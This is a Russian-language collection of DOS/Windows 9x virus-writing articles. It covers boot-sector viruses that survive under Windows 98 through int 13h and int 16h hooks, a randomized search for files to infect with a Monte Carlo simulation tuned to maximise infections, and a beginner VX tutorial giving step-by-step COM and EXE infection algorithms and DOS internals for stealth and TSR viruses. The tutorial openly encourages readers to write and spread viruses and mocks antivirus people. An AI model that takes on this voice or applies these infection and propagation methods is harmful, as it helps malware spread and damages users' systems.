B книге Игоря Коваля "Как написать компьтерный вирус" (2000 год, издательство "Символ-Плюс") рассматривается возможность реализации загрузочного вируса, способного функционировать под Windows. Под возможностью функционирования понимается способность программы поражать стандартные мишени - бут-сектора дискет.

Для начала приведем стандартный алгоритм простого нефайлового вируса ("form", "stone" , проч.). Перехватив тем или иным способом процесс загрузки с винчестера, вирус, если он собирается быть активным (резидентным) в течении всего сеанса работы компьютера, использует перехват прерывания(ий) с целью следить за обращениями пользовательских программ к дисководу(ам) и, выбрав момент, перенести свое тело на дискету в ее BOOT- сектор.

Самое простое, что можно сделать (и было сделано много раз) в этом направлении – это перехватить сервис BIOS прерывание int 13h, предназначенное для работы с жесткими дисками и дискетами. Такой выбор объясняется следующими причинами:

• Вирус получает управление перед/после выполнения программ MBR или BOOT активного раздела жесткого диска, когда доступными для перехвата являются только сервисы BIOS – операционная система еще не активизировала свои прерывания;

• Большинство пользовательских программ при работе с дискетами косвенно через сервисы OS вызывают int 13h и несложные проверки на номер драйва, сектора и дорожки позволяют легко идентифицировать момент заражения дискеты.

Таким образом, все, что необходимо для функционирования такого класса программ – это OS, использующая для работы с накопителями ТОЛЬКО сервисы, предоставляемые BIOS.

Однако что же будет в "плохом" для нас случае, когда противная операционная система по тем или иным причинам не желает использовать стандартные средства для доступа к драйвам, а норовит использовать свои драйвера?

Игорь Коваль в своей книге исследовал работу классического резидентного (на int 13h) вируса под Windows, и обнаружил, что после загрузки системы вирус перестает быть активным. Точнее говоря, он становится псевдоактивным – с винчестером OS продолжает работать через него, но вот вызовы программ (автор уделил особое внимание дос-окошкам – Norton Commander) для работы с дисководами до него не доходят. Следовательно, вирус не может активизироваться для заражения дискеты, поскольку он отлавливает момент обращения именно к дисководам (скажем, сравнение номера драйва в регистре dl <=1). Оказалось, что Windows, по словам автора, использует свой драйвер для работы с дискетами, а вот для жесткого диска "предпочитает" работу стандартными средствами … (Далее будет показано, что это не совсем так - - поведение OS более нешаблонно при выборе стратегии работы с накопителями).

• Скачать сырец (находится в архиве wasm_files.zip: files/article84/koval.zip)

Столкнувшись с вышеприведенной проблемой, И. Коваль пошел по пути использования перехвата сервиса DOS для работы с дисками, а именно – int 21h, функции 0eh (смена текущего диска). Алгоритм триггера активизации вируса в этом случае даже проще, чем в случае int 13h – достаточно следить за попытками выбрать через эту функцию дисковод.

Осталось решить, как перейти от момента загрузки компьютера к перехваченному прерыванию int 21h.

Общий принцип перехода заключался в активном ожидании загрузки DOS и перехвате int 21h после его появления.

Автор показал, что ожидающая программа не может использовать очевидные на первый взгляд прерывания int 1ch, int 08h и int09h. Дело в том, что Windows перестает использовать стандартные биос-обработчики этих

прерываний в своей работе и восстанавливает вектор int 21h . Решением оказалось использование вектора int 16h. Обработчик этого вектора "остается в живых" после загрузки, и, более того, вызывется во всех без исключения программах Windows – даже таких, как Word.

Схематично работу такого вируса можно представить следующим образом:

1. При первом получении управления в процессе загрузки mbr вирус перехватывает int 16h;

2. Обработчик прерывания int 16h следит за вектором int 21h, вызывая его недокументированной функцией AX=0babch – контроль на перехват;

3. Если вектор int 21h не отвечает стандартным образом, то считается, что необходимо выполнить перехват int 21h;

4. Обработчик int 21h следит за сменой диска, контролируя функцию 0eh.

Автор утверждает, что такой вирус нормально работает в DOS окошках и осталяет "на будущее" реализацию работоспособной программы во всех приложениях Windows.

• Скачать сырец (находится в архиве wasm_files.zip: files/article84/chingach.zip)

Пройдя некоторое время по этому пути, я проверил утверждения насчет "живучести" перехватчиков векторов int 16h и int 13h под Windows. Оказалось – все так и есть, правда, остается непонятным детальный механизм перехвата int 21h с вектора int 16h. Вектор int 16h вызывается не при нажатии любой клавиши, а только специальных (типа shift). Видимо, это делается для того, чтобы биос мог отследить состояние своих флажков…

Однако далее я задался целью написать работоспособный под Windows вирус, который:

1. Перехватывает прерывание int 13h при загрузке и использует только его;

2. Работает во всех задачах (таких, как Word);

3. Не использует особенностей OS (в данном случае – перехват чисто dos-ого прерывания int 21h, а является потенциально опасным для любых OS, работающих по тем или иным причинам с винчестером через BIOS).

Проблема с активностью вполне решается таким перехватом. Как уже было сказано, перехватчик int 13h вызывается при ВСЕХ операциях с винчестером. Остается поймать момент обращения к дисководу. На бессмысленность переодических запросов (а не засунули в дисковод ли чего- нибудь ?) указал сам И. Коваль.

Рассмотри процесс форматирования дискеты (неважно, из виндового приложения или из NC). OS должна, нет, она просто обязана записать на него свой новенький бут-сектор. А где она его может взять ? Конечно, с винта ! А кто винт контролирует ?! Мы ! Так чего же мы ждем:

(Скажем, только что с винта был прочитан сектор, и он сейчас в es:[bx])

Причем, проверка на наличие команды jmp short (cmp byte ptr es:[bx],0ebh) вроде и необязательна... Это я проверил, когда поставил типа beep внутрь этих проверок, и следил когда он раздается при загрузке винды, чтении дискеты ...

Некоторой неожиданностью для меня оказалось то, что такой алгоритм работает не только в случае форматирования ! А также и в случае невинного обращения к дисководу… Зачем Windows(или еще кто) читает в этот момент с винчестера загрузочный бут-сектор – для меня пока загадка. Может, параметры какие выверяет ?…

Почему Windows вызывает прехватчик int 13h, инсталлировавшийся при загрузке (из MBR) во всех своих задачах ?

Как оказалось, вопрос, представлявшийся мне тривиальным на этапе разработки виря и прочтении книги И. Коваля, имеет довольно сложный ответ. Оказывается, что (нижеизложенное выяснилось при стихийно возникшей дисскуссии на bugtraq- forum, участвовали люди с никами :-) и z0, было это примерно в середине октября 2001 года):

• При загрузке винда определяет, где находится обработчик int 13h. Если он не в биос-е, то она считает, что устройство - нестандартное, и работает с винчестером через него. Причем неважно, является ли вирус стеллсом или нет (будет ли разница в чтении загрузочного сектора через родной драйвер виндов и int 13h).

• Так работает только 98-ые винды, винды же 95 не вызывают такой перехватчик (!)

• Если же перехватчик указать в autoexec.bat, то обе винды (и 95 и 98) однозначно работают через него с диском.

• Игоря Коваля за замечательную книгу, позволившую мне глубоко понять механизм работы Windows;

• всех участников форума bugtruq за их разъяснения :)

В данной статье под случайными числами понимается возможность получения псевдослучайной последовательности символов в заданном диапазоне значений. И только. Математические теории их получения и прочие вопросы не рассматриваются. Я попытался с помощью случайных чисел упростить алгоритм поиска файлов в OS DOS (Windows) и провести небольшое исследование поведения программы, обладающей таким алгоритмом.

• Скачайте сырец (находится в архиве wasm_files.zip: files/article85/chin2src.zip)

Сначала коротко о поиске файлов и каталогов в DOS (Windows). Как известно, для поиска файлов и каталогов используются два сервиса прерывания int 21h - FindFirst и FindNext (функции 4eh и 4fh). Для указания цели поиска следует передать атрибут файлов в регистре cx, указатель на путь до каталога поиска и маску в файла в виде строки (в регистрах ds:[dx]). Например: MyPath db 'c:\tmp*.bat',0.

В этом случае поиск выполнится в каталоге c:\tmp, будут (или не будут) найдены все файлы с расширением ".bat". Сначала для инициализации поиска следует вызвать сервис FindFirst, а последующие найденные файлы будут возвращатся после вызова FindNext. Папки (директории) ищутся аналогично - например, по маске ".*" и атрибуту 16 (директория).

Результаты поиска DOS помещает в так называемую DTA (Data Transfer Area). К примеру, при запуске программы она по умолчанию находится в PSP программы (для com-файла по смещению 80h). Но, при желании, DTA можно переопределить, чтобы не портить содержимое PSP. В этой области, помимо имени найденного файла, находятся такие атрибуты файла как дата и время.

Таким образом, чтобы найти нужные файлы в подкаталогах различного уровня вложения, требуется вначале найти все каталоги первого уровня вложения, затем в каждом из них - подкаталоги второго уровня, … последнего уровня, и при этом в каждом подкаталоге искать нужные файлы.

Данная задача - не из легких. В простой реализации ее решением может быть использование очередей (динамические связанные элементы, реализуемые, например, в Паскале через указатели). Более сложной реализацией (но и более красивой!) является рекурсия (к примеру, процедуре передается в стеке стартовый каталог).

Я реализовал алгоритм, отличный от вышеприведенных, требующий только статического буфера слов длиной 256 (с запасом!). Возможно, есть и другие варианты алгоритмов, но по общей оценке все они грешат следующими недостатками:

• сложность и большой размер кода (даже на asm!);

• низкое быстродействие;

• самое главное - если нам нужно найти любой подходящий объект во множестве каталогов (не все, а первый попавшийся!), то удручает применение столь мощной "артиллерии" (выше) для решения достаточно простой задачи.

Где же и зачем может быть поставлена задача поиска любого первого объекта? Я для примера рассмотрел обычный файловый нерезидентный вирус, способный заражать exe-файлы.

Коротко о алгоритме таких вирусов. Сразу после запуска зараженной программы вирус получает управление, и у него есть незначительное время, чтобы выполнить задачу всего живого на этой планете - размножиться, т.е., чтобы выполнить закон Дарвина.

Время незначительное, потому что он не хочет быть похожим на операционную систему с ее сообщением "Install… Please Wait…". Можно схалявить, и посмотреть "под ноги" - в текущий каталог, откуда запустилась программа. Для этого просто нужно выполнить поиск файлов прямо здесь с маской "*.exe". Но так мы далеко не уйдем - максимум, что можно, это заразить все файлы в одной директории, и точка. Не говоря уж о всем диске и других драйвах… Конечно, если пользователи не будут постоянно копировать друг у друга файлы и вдобавок раскидывать их по всем своим папкам. Правда, в этом случае сектор поражения тоже будет невелик - пациенты психушки имеют ограниченное число контактов с внешним миром.

Таким образом, приходим к вирусу, который должен искать мишени в других местах (каталогах, дисках). Например, можно получить текущий диск, перейти в его корень, и заражать файлы, лежащие в корне. Или пойти дальше - поискать во всех каталогах корня exe-файлы одним из вышеперечисленных алгоритмов.

Однако можно посмотреть на проблему не так прямолинейно. Ведь нам на самом деле нужен всего лишь любой случайный объект. Заразив его, наш код удваивается, а, следовательно, в следующий раз уже будет выбрано два случайных объекта, потом - четыре, и так по нарастающей.

Мной был реализован такого рода алгоритм. При начальной реализации я задал три случайно выполняющихся действия, которые вирус может запустить при своем старте:

• случайным образом сменить диск (логический);

• случайным образом перейти в верхний каталог (команда "cd …");

• случайным образом найти подкаталог со случайным номером и перейти в него.

После выполнения одного или нескольких действий из этого списка, текущим каталогом для поиска становиться в общем случае произвольный, но другой! каталог, возможно, на другом логическом диске.

Итак, необходимо определиться - как будет активизироваться каждое из трех действий.

Для начала необходимо задать случайное число (числа), чтобы разыграть вероятность каждого действия. Для этих целей был взят сервис того же int 21h - функция получения системного времени 2ch, которая возвращает в регистре dl достаточно случайное число сотых долей секунды.

Далее необходимо определиться со стратегией - с какой вероятностью будем выполнять каждое из действий. Почему не выполнять их с максимальным приоритетом (всегда пытаться сменить диск, выйти наверх и найти что-нибудь "под ногами")? Так мы сузим себе круг поиска и, самое главное - будем негибки к различным конфигурациям пользователя (скажем, у одного много подкаталогов, а другой все скинул в корень). С этой целью в программе задается три параметра вероятностей активизации:

• VarOfDrive(0...99) - вероятность перехода на другой диск;

• VarOfUpDr(0…99) - вероятность перехода в верхний каталог;

• VarOfDnDr(0…99) - вероятность поиска подкаталога с произвольным номером.

Итак, с вероятностью VarOfDrive начинаем искать другой диск в пределах поддерживаемых DOS (0…31). Далее, независимо от результата предыдущего действия, с вероятностью VarOfUpDr выполняем команду "cd ...", и с вероятностью VarOfDnDr, опять-таки независимо от предыдущих событий, ищем каталог с произвольным в разумных пределах номером (скажем, не более 24) "под ногами" и, если он найден, переходим в него. При этом в момент поиска подкаталога происходит сверка с DOS-временем файла в DTA, и если время и текущий номер поиска кратны 4, то каталог с таким номером досрочно признается годным.

Надо признать, что в первичной реализации я действовал скорее по наитию - параметры выбрал достаточно наобум: VarOfDrive = 33%, VarOfUpDr = 50% и VarOfDnDr = 50%. Причем последние оказались зависимыми друг от друга. Для розыгрыша во всех событиях бралось одно и то же число - всегда число сотых долей секунды, полученное при старте.

Тем не менее, испытания показали, что, будучи запущен из какого-либо каталога, вирус, на первый взгляд, очень активно "снует" по каталогам и дискам в поисках мишеней.

Однако можно задаться вопросом - а насколько эффективно был сделан выбор вероятностей VarOfDrive = 33%, VarOfUpDr = 50% и VarOfDnDr = 50%, и что же будет со всеми-всеми программами на всех-всех дисках в общем случае? Заразит ли вирус(ы) их все или забьется в какой-нибудь каталог и по тем или иным причинам не сможет вырваться из него в силу неправильно выбранной стратегии? Если в случае вируса, который умеет заражать только в текущем каталоге, проверка тривиальна, то в нашем случае вот так все не проверишь… Не будешь же, в самом деле, последовательно обходить десятки а то и сотни каталогов в непонятно какой последовательности!

С целью получения хоть какого-то ответа на эти вопросы мною была написана специальная программа, моделирующая распространение вируса по заранее выбранной конфигурации дисков и каталогов.

Для начала зададим параметры идеальной модели конфигурации дисков и каталогов в них:

• DriveNumber - число логических дисков;

• DirsPerDrive - число корневых каталогов на каждом диске;

• DirsLevel - уровень вложенности каталогов. Это означает, к примеру, что если задан уровень вложенности 2, то у корневого каталога может быть не более двух вложенных директорий. Например: C:\TEMP - корневой каталог, в нем есть две папки - DIR1 и DIR2 (C:\TEMP\DIR1 и C:\TEMP\DIR2), у папок DIR1 и DIR2 могут быть подкаталоги, но в этих подкаталогах не может быть других подкаталогов;

• LocDirs - сколько папок в любой директории, включая корневые;

• ExecutableProgs - число исполняемых модулей в любой папке (в корне у меня их нет!), которые можно заразить.

Будем задавать также различные параметры стратегии распространения вируса - все те же VarOfDrive, VarOfUpDr и VarOfDnDr.

Для моделирования поведения вируса и получения результатов общего заражения воспользуемся методом Монте-Карло, проще говоря - методом случайного розыгрыша событий. В данном случае можно было, конечно, попытаться вывести аналитическую зависимость количества заражаемых модулей от количества запуска произвольных программ, но данный способ представляется мне гораздо более сложным, чем тот, который описан ниже.

Метод Монте-Карло очень прост. Пусть, к примеру, есть монета, и мы хотим узнать, с какой вероятностью будет выпадать орел. Для большего интереса пусть монета кривая, и, скорее всего, будет не фифти-фифти, а что-то другое. Можно метнуться к талмудам с формулами кривизны поверхности монеты, зависимостями плотности воздуха от расстояния до поверхности земли - но куда проще кинуть монету раз сто и, запомнив число выпадений орла, определить вероятность его выпадения (разделив это число на сто).

В нашем случае будем делать вот что. Доопределим несколько параметров уже самого моделирования:

• MaxDays - число дней испытаний;

• ProgPerDay - число запусков произвольных программ в день;

• AverCounter - число проходов по всем дням (т.е. прогоняем весь процесс заражения AverCounter раз - прямо как с монетой).

Испытания будут заключаться в следующем. Пусть вначале все программы на всех DriveNumber дисках будут незараженными. Заразим произвольную программу. Потом будем выбирать случайную программу (имитируя ее запуск) ProgPerDay раз в день, и так MaxDays дней. Фактически, в одном проходе мы выполняем запуски программ ProgPerDay*MaxDays раз - так сделано просто для наглядности. Если случайно запущенная программа окажется зараженной, то мы можем имитировать активизацию вируса из конкретного каталога и диска. Модельный вирус, в свою очередь, получит случайное число (как бы досовские сотые секунды) в качестве параметра и с ним запустит собственный генератор случайных чисел (в первичной реализации я не понимал необходимости такого генератора). Далее он случайным образом выполнит действия по смене диска и каталога и, если найдет незараженную программу, выполнит ее заражение. Таким образом, число зараженных программ будет увеличиваться.

Проведя один такой прогон по всем дням, будем записывать число зараженных программ за каждый день, добавляя это число к соответствующему числу зараженных программ за этот день в предыдущем прогоне. Проведя все прогоны, усредним полученные значения по числу прогонов и получим зависимость числа зараженных программ от числа дней существования вируса в нашей системе.

Таким образом, задав те или иные параметры системы, мы получим ответ, насколько эффективно были выбраны параметры стратегии в той или иной конфигурации системы.

Как только я провел серию первых испытаний со стратегией, соответствующей первоначальной реализации вируса, то сразу стало ясно, насколько она оказалась неэффективна! Оказалось, что такой вирус практически ничего не заражает - менее 5% программ! Пришлось дополнить алгоритм стратегии следующими усовершенствованиями:

• в вирус был добавлен генератор псевдослучайных чисел;

• параметры VarOfDrive,VarOfUpDr и VarOfDnDr стали по-настоящему независимыми друг от друга - оказалось, что их взаимная зависимость серьезно сужает эффективность алгоритма случайного поиска!

Рис. 1

На рис.1 изображена зависимость числа зараженных программ от числа дней существования вируса в системе для следующих параметров:

• MaxDays = 200 - число дней испытаний;

• ProgPerDay = 50 - число запусков произвольных программ в день;

• DriveNumber = 8 - число логических дисков;

• DirsPerDrive = 12 - число корневых каталогов на каждом диске;

• DirsLevel = 2 - уровень вложенности каталогов;

• LocDirs = 2 - количество папок в любой директории, включая корневые;

• ExecutableProgs = 2 - число исполняемых модулей в любой папке.

Т.е. всего было выполнено 10000 запусков для 1344 программ. Каждая программа запускалась примерно 9 раз. Число каталогов в корневом каталоге рассчитывается по формуле: (LocDirs^(DirsLevel + 1) - 1)/(LocDirs-1) - фактически, сумма геометрической прогрессии).

Параметры стратегии были следующими:

VarOfDrive = 50%, VarOfUpDr = 50% и VarOfDnDr = 50%.

Далее я сразу обнаружил очень интересный эффект - если в системе запускать программы неограниченно долго (число запусков >> числа программ), то вирус никогда не сможет заразить все программы! По крайней мере, это проявлялось для вышеприведенных параметров, с той лишь разницей, что число дней запуска было увеличено до 2000 (рис.2). Насыщение наступает примерно на уровне всего 40% от всего числа программ. Причем повторюсь, первая зараженная программа выбиралась произвольно - а это означает, что режим насыщения наступает независимо от того, какая программа будет заражена первой!

Рис. 2

Далее я поэкспериментировал с параметрами стратегии. В одном случае (конфигурация системы прежняя) параметры стратегии были: VarOfDrive = 10%, VarOfUpDr = 50% и VarOfDnDr = 50% (неактивно меняем диски, но достаточно активно лезем в верхние и нижние каталоги), в другом - VarOfDrive = 50%, VarOfUpDr = 50% и VarOfDnDr = 50% (средне-активно меняем диски, каталоги), а в третьем - VarOfDrive = 90%, VarOfUpDr = 50% и VarOfDnDr = 50% (очень активно меняем диски). Результат представлен на рис.3. Вероятности смены диска: "-" - 10%; "---" - 50%; "- - -" - 90%.

Рис. 3

В следующем случае я исследовал на тех же параметрах системы что выгоднее: активно менять каталоги (VarOfDrive = 5%, VarOfUpDr = 90% и VarOfDnDr = 30%) или активно менять диски (VarOfDrive = 90%, VarOfUpDr = 10% и VarOfDnDr = 90%), т.е. активно менять текущий драйв и "расползаться" по подкаталогам. Результат на рис.4 (вероятности смены диска, перехода в верхний каталог и вероятность перехода в нижний каталог: "-" - 5%,90% и 30%; "----" - 90%,10% и 90%.

Рис. 4

Далее я решил посмотреть поведение вируса для конфигурации с малым количеством логических дисков и относительно большим количеством подкаталогов. Параметры новой конфигурации:

• DriveNumber = 2 - число логических дисков;

• DirsPerDrive = 10 - число корневых каталогов на каждом диске;

• DirsLevel = 2 - уровень вложенности каталогов;

• LocDirs = 4 - количество папок в любой директории, включая корневые;

• ExecutableProgs = 2 - число исполняемых модулей в любой папке.

Рис. 5

На рис.5 - то, что получилось для четырех различных стратегий размножения. Уровень вложенности равен 4, в каждом каталоге - по две директории. Вероятности смены диска, перехода в верхний каталог и вероятность перехода в нижний каталог: "===" - 5%,20% и 90%; "---" - 5%,30% и 60%; "-" - 5%,90% и 90%; "- -" - 5%,60% и 30%.

Для моделирования мною был выбран генератор псевдослучайных чисел из книги С.В.Зубкова "Assembler - язык неограниченных возможностей". Это так называемый сдвиговый генератор в простейшей реализации для получения псевдослучайных чисел в размере одного байта.

Есть несколько методов для успешного заражения. Сейчас я объясню вам самый старый метод, метод времени выполнения (также его называют "прямым действием"). В наши дни его никто не использует, потому что он очень медленный, а обнаружить такой вирус сможет любой среднезаинтересованный пользователь. Hо... не бойтесь! Этот метод очень прост, и все люди на сцене делали свои первые шаги именного с него. Вы будете использовать его только в первое время. Вирус времени выполнения является программой, которая ищет файлы, используя шаблоны (".com", ".exe", ".*"...) и использует функции DOS-API (конечно, int 21h) Findfirst и Findnext (4Eh и 4Fh). Она также заходит в другие директории. Обычно вирусы подобного рода вирусы заражают COM и EXE, но мы также можем заражать SYS, OBJ, ZIP... но для этого мне потребуется другой туториал и... вы помните, что этот туториал для начинающих? ;)

ЗАРАЖЕНИЕ COM

Проще всего заразить COM-файл. Это первое, что вы должны освоить, потому что заражение (но не путь, которым вирус добирается до этой точки) более или менее похож на тот, как это делаю вирусы других видов (TSR и так далее):

1. Открываем файл

2. Сохраняем время, дату создания файла и его атрибуты

3. Сохраняем первые (обычно 3) байта

4. Считаем новый переход

5. Помещаем его

6. Добавляем тело вируса

7. Восстанавливаем время/дату/атрибуты

8. Закрываем файл

Вы должны знать, что COM-файл выглядит в памяти так же как и в настоящем коде (COM = Copy of Memory). DOS дает COM-файлу всю доступную память. Давайте посмотрим, как выглядит COM-программа после загрузки в память.

Размеp сегмента (FFFFh байтов) у COM-файлов должен быть меньше на 100h байтов, которые будут использоваться для PSP (FFFFh - 100h = FEFFh). Hо здесь возникает проблема. Hам нужно сохранить больше места, чтобы позволить расти стеку, что потребуется нам в дальнейшем (каждый раз, когда мы делаем PUSH и забываем делать POP, стек растет, и если он вырастет на слишком большое количество байтов, то наша программа будет порушена). Я оставлю для стека по крайней мере на 100 байтов больше. Ок? :)

Это очень легко понять... и это логично! ;)

Разговор о логичных вещах... Я думаю, что настало хорошее время попрактиковаться в COM-заражении. Это ламерский вирус. И только? Более того: это самый ламерский вирус! ;) Hо это пособие для начинающих и я должен сделать это! Хотя меня выворачивает от этого! Хорошо, я не убью свой разум, если спрограммирую что-нибудь вроде этого, хотя я потратил на это целых 5 минут :) (потратил зря! :) ).

Все это очень просто, как вы можете видеть. И этот код полностью комментирован. Если вы еще не понимаете это, не переходите к другой главе, перечитайте все о заражении COM!!!. Hо... вирус, который заражает только COM'ы... и к тому же времени выполнения, может быть был крут много лет тому назад, но сейчас это ужасно! Прежде, чем начать распространять такой вирус, я советую вам немного подождать. Hесколько месяцев будет достаточно, чтобы лучше овладеть ассемблером, а если вы посвятите некоторое время улучшению своих навыков, вы сможете сделать TSR COM/EXE инфектоp с полной невидимостью и различными особенностями еще через несколько месяцев.

Примечание: Ладно, в Win95 есть много COM-файлов, интересно, не правда ли? Они часто используются, но тут есть одна проблема. Если мы заразим их как обычно, они подвиснут :(. Решение состоит в том, чтобы сохранить последние семь байтов файла в его окне, добавив к последним двум размер вируса.

Hе слушайте возмущенные вопли других VXеров о ваших первых шагах и ваших вирусах. Иногда некоторые из этих людей (их немного, как правило все люди сцены достаточно добры) забывают о своих первых шагах, верят, что они боги, как некоторые из AVевров.

Я прекращаю разговор об этих сосунках, которые забыли свои корни, и продолжу рассказ о заражании EXE.

Первое, что вы должны знать, это то, что заражение EXE отличается от заражения COM (я думаю, что вы достаточно умны и знаете об этом ;) ). EXE могут быть больше размером, и у них есть заголовок (я думаю, что наиболее важная часть заражения EXE - это операции с его заголовком), которые содержат некоторые полезные значения для заражения, такие как CS:IP (сохраненные в обратном порядке IP:CS), SS:SP (не сохраненные в обратном порядке), размер файла в параграфах и другую информацию. Вот структура заголовка:

(*) Отмеченные поля должны быть модифицированны при заражении

У EXE-файлы может быть более чем один сегмент (один для кода, один для данных и еще один для стека - CS,DS,SS (в указанном порядке :) ).

Заголовок EXE генерируется линкером. Когда DOS загружает EXE в память, он выглядит примерно так:

Как вы можете видеть в EXE-файлах нет проблемы, существовавшей в COMах. Для нашей pаботы со стеком (PUSH и POP) у нас есть целый сегмент! Он тоже pастет назад (снизу вверх).

Давайте посмотрим алгоритм, которому вы должны следовать для реализации вашего инфектора EXE (шаг за шагом).

1. Открываем файл (гениально!) только для чтения

2. Считываем первые 1A байтов (26)

3. Сохраняем их в переменной

4. Закрываем файл

5. Проверяем первое слово (MZ, ZM)

6. Если совпадает, продолжаем, если нет, переходим к пункту 16

7. Проверяем, не заражен ли файл уже

8. Если не заражен, продолжаем, иначе переходим к пункту 17

9. Сохраняем текущее значение CS:IP (в обратном порядке - IP:CS) для восстановления EXE

10. Для тех же целей сохраняем SS:SP (в том же порядке)

11. Подсчитываем новое значение CS:IP и SS:SP

12. Модифицируем байты в последней странице и количество страниц

13. Открываем снова (в режиме чтения/записи)

14. Записываем заголовок

15. Перемещаем файловый указатель к концу

16. Добавляем тело вируса

17. Закрываем файл

Я не хочу больше утомлять вас теоретическим материалом, и помните, что лучший путь научиться писать компьютерные вирусы - это посмотреть исходники других вирусов. А также полезно прочитать то, что я вам только что объяснил :).

Слишком много для вас? Ок, я знаю это, но у меня еще есть, что сказать. Когда вы поймете концепцию заражения COM и EXE, ваши знания начнут расти так быстро, как скорость света :). Hеважно, что эти вирусы уже давно устарели. Важна концепция. И если вы поймете ее, вы сможете сделать, все что захотите.

Теперь пришло время узнать подробнее об одной вещи, о которой мы много

говорили, о PSP.

Его структура выглядит следующим образом:

Давайте объясним шаг за шагом, потому что эта структура очень важна.

• Смещение 0000h: INT 20h - это устаревший метод для прекращения работы программы, вместо

которого используется функция 4Ch INT21h.

• Смещение 0002h: Дальше идет указатель на следующий сегмент,

расположенный после нашей

программы. Мы используем его, чтобы узнать, сколько памяти DOS выделил нам

(вычитая смещение, на которое он указывает от смещения 0000 нашего PSP).

Hам возвращается память в параграфах, поэтому мы должны умножить его на 16,

чтобы получить pазмеp в байтах.

• Смещение 0005h: Это довольно любопытный путь вызова INT 21h. И, конечно, мы можем

использовать его в своих целях. Функции находятся в CL вместо AH, и мы

можем использовать только функции меньше 24h. Я объясню больше в главе

TUNNELING.

• Смещение 000Ah: Здесь мы сохраняем оригинальные векторы INT 22h. INT 22h получает контроль,

когда программа завершает свою работу одним из следующих образов:

• INT 20h

• INT 27h

• INT 21h (функции 00h, 31h, 4Ch)

• Смещение 000Eh: Здесь мы сохраняем векторы другого int, INT 23h. Это

прерывание обрабатывает комбинацию CTRL+C.

• Смещение 0012h: Здесь сохранено другое прерывание - INT 24h. Оно обрабатывает критические

ошибки. Примеры подобных ошибок? Hапример, когда в вашем дисководе нет

дискеты или она защищена от записи.

• Смещение 002Ch: Здесь начинается блок окружения.

• Смещение 005Ch: В этом поле сохранен первый FCB (File Control Block) по умолчанию. Это путь

для получения доступа к файлам обычно не используется программами (он

существует для совместимости со старыми версиями DOS'а), но вирмейкеры

обычно используют его для реализации невидимости. Смотрите структуру FCB

за дополнительной информации.

• Смещение 006Ch: Это второй FCB по умолчанию.

• Смещение 0080h: У это поля есть две функции:

• Сохранение командной части

• Файловый буфер по умолчанию для сохранения DTA

• Эти функции не могут жить вместе, поэтому когда стартует программа, первое,

о чем мы должны подумать - это командная часть. Если она нам нужна, я

рекомендую вам сохранить ее в надежное место (переменная в нашем коде).

Первый байт командной части (80h) содержит ее длину, а дальше находятся

реальные параметры. Структура DTA будет объяснена в той же главе.

Есть два вида FCB: обычные и расширенные. Здесь приводится структура

обычного FCB.

Если FCB расширенные, все вышеуказанные смещения сдвигаются на семь байтов,

а первые 7 байтов выглядят следующим образом:

Определить, является ли FCB обычным или расширенным - это посмотреть,

равен ли первый байт FFh. Если это так, то FCB расширенный, потому что в

обычном FCB такого быть не может.

Есть вид невидимости, который меняет некоторые значения FCB, чтобы

замаскировать заражение, но это будет рассмотрено в главе о невидимости.

Она объясняется в главе о резидентных вирусах (следующая глава). А здесь

приводится ее формат:

Эта структура очень важна в написании вирусов. Давайте посмотрим ее:

Оригинальный DTA сохраняется по смещению 80h в PSP. Мы можем сохранить его

с помощью функции 1Ah INT 21h.

Это не "настоящая" структура. Гм... Дайте мне объяснить... IVT - это место,

где хранятся все векторы прерываний (вау, гениально!). Все векторы находятся

в номер_прерывания*4. Представьте, что нам нужны векторы INT 21h в DS:DX...

Это просто:

Почему мы очищаем DS? Потому что IVT находится от 0000:0000 и выше. Эти

манипуляции (без использования DOS) - это прямой путь для получения и

помещения векторов прерываения. Хорошо, все это и больше изложено в главе

о резидентных вирусах. Эй... Я забыл привести немного графики :).

Вы можете представить, что "рваная строка" означает, что есть 256

прерываний, а я хотел немного прооптимизировать этот документ (я не хочу,

чтобы он занимал 5 метров!) ;).

Эта структура действительно крута. Она может помочь вам сделать ваш код

гораздо более мощным и оптимизированным. Это как FCB, но, как вы можете

видеть, она еще мощнее. С этим таблицами мы можем сделать невидимость,

изменить файловый указатель, режим работы с открытым файлом, атрибуты...

Здесь у вас есть структура для DOS 4+ (я верю, что в мире не осталось людей,

которые используют DOS 3 или что-нибудь в этом роде). Хорошо, если вы

хотите, чтобы ваш код работал также и в DOS 3, обратитесь к RBIL. Hо SFT в

DOS 3 очень похожа на эту. Все важные значения находятся в том же месте :).

Хм... Я забыл сказать, как получить доступ к SFT... Далее идет процедура,

которая помещает SFT в ES:DI, принимая хэндл файла в BX.

Я настоятельно рекомендую вам сохранить значения

AX/BX (BX особенно важен:

мы помещаем сюда хэндл файла).

(*) Отмеченные поля используются SHARE.EXE

С помощью DIB мы можем получить доступ к очень важным структурам, которые

нельзя достигнуть другим образом. Местоположение этих структур не

фиксировано. Мы должны использовать функцию 52h прерывания 21h. Это

недокументированная функция DOS. Вызвав эту функцию, мы получим доступ к

DIB в ES:BX.

Эта структура предоставляет нам очень полезную информацию для наших целей.

Мы можем узнать, где она находится, используя второй указатель в DIB

(смотри выше).

Эта структура хорошо известна каждому, кто писал бут-инфекторы. Это первый

блок жесткого винта. Он всегда первый, вне зависимости от того, находися ли

мы на дискете или на жестком винте. Мы также можем называть его MBR (Master

Boot Record), если это HDD, или Boot Sector, если FD.

Таблица партиций - это массив из четырех элементов, которые можно найти по

смещению 01BEh в блоке. Далее идет формат каждого из этих элементов:

В системах, основанных на DOS, загрузочная запись начинается с перехода, за

которым следует структура BPB.

Если вы достигли эту строку и до сих пор живы, у вас есть будущие в мире под название вирусная сцена :).

Здесь начинается интересный для чтения (вам) и написания (мне) материал.

Что же такое резидентная программа?

Хорошо, я начну с обратного :). Когда мы запускаем нерезидентную программу (обычную программу, например edit.com), DOS выделяет ей память, которая освобождается, если приложение прерывает выполнение (с помощью INT 20h или известной функцией 4Ch, INT 21h).

Резидентная программа выполняется как нормальная программа, но она оставляет в памяти порцию себя, которая не освобождается после окончания программы. Резидентные программы (TSR = Terminate and Stay Resident) обычно замещают некоторые прерывания и помещают свои собственные обработчики, чтобы те выполняли определенные задачи. Как мы можем использовать резидентную программу? Мы можем использовать ее для хакинга (воровать пароли), для наших классных утилит... все зависит от вашего воображения. И, конечно, я не забыл... можно делать РЕЗИДЕHТHЫЕ ВИРУСЫ :).

Что может вам дать TSR-вирус?

